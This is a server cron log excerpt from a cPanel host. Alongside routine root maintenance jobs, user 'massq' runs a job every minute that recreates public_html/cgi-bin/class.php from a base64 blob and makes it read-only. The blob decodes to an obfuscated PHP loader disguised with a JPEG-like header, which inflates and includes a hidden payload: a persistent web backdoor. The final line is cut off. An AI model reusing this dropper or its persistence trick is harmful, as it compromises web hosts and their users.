Sep 11 01:34:01 server CROND[12896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:35:01 server CROND[13288]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 01:35:01 server CROND[13290]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:35:01 server CROND[13295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:35:01 server CROND[13305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:35:01 server CROND[13308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:35:01 server CROND[13307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:35:01 server CROND[13304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:35:01 server CROND[13306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:35:01 server CROND[13302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:36:01 server CROND[14151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:36:01 server CROND[14152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:36:01 server CROND[14153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:37:01 server CROND[14498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:37:01 server CROND[14497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:37:01 server CROND[14499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:38:01 server CROND[14978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:38:01 server CROND[14979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:38:01 server CROND[14980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:39:01 server CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:39:01 server CROND[15375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:39:01 server CROND[15377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 01:39:01 server CROND[15376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:40:01 server CROND[15877]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:40:01 server CROND[15879]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:40:01 server CROND[15881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:40:01 server CROND[15884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:40:01 server CROND[15883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:40:01 server CROND[15888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:40:01 server CROND[15889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:40:01 server CROND[15890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:41:01 server CROND[16728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:41:01 server CROND[16729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:41:01 server CROND[16730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:42:01 server CROND[17108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:42:01 server CROND[17109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:42:01 server CROND[17110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:42:01 server CROND[17111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:43:01 server CROND[17582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:43:01 server CROND[17583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:43:01 server CROND[17584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:44:01 server CROND[17962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:44:01 server CROND[17963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:44:01 server CROND[17964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:45:01 server CROND[18365]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:45:01 server CROND[18367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:45:01 server CROND[18370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:45:01 server CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:45:01 server CROND[18379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:45:01 server CROND[18377]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:45:01 server CROND[18380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5